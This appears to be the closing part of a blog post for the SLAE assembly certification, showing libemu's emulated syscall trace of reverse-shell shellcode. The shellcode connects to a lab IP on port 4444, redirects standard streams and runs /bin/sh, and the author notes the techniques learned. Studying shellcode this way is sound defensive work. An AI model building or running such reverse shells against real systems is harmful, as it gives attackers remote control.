[emu 0x0x53e1f0 debug ] esp=0x00416f9e  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int dup2 (
     int oldfd = 14;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 14;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 14;
     int newfd = 0;
) =  0;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = -1530261332 (host=172.16.202.164);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int execve (
     const char * dateiname = 0x00416fa6 => 
           = "//bin/sh";
     const char * argv[] = [
           = 0x00416f9e => 
               = 0x00416fa6 => 
                   = "//bin/sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

From the pseudo C code at the end of the output, we can see that a TCP socket it has been opened and the new file descriptor is used to duplicate standard input, output and error.

Then a connect on port 4444 for IP address 172.16.202.164, that it is the address of my Linux VirtualBox machine and a final execve called on /bin/sh on the connected socket.

What I’ve learnt

I have to admit, other assignments are more exciting because of some coding to do. However, reversing code is interesting because you can learn some clever coding techniques.

On those specific analysis, the most interesting techniques I’ve learnt are:

  • using cdq instruction, after setting EAX register to a positive value, to init EDX to zero
  • the CALL used to jump in the middle of a shellcode so the ESP can point to “/bin/sh” string

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1217

comments powered by Disqus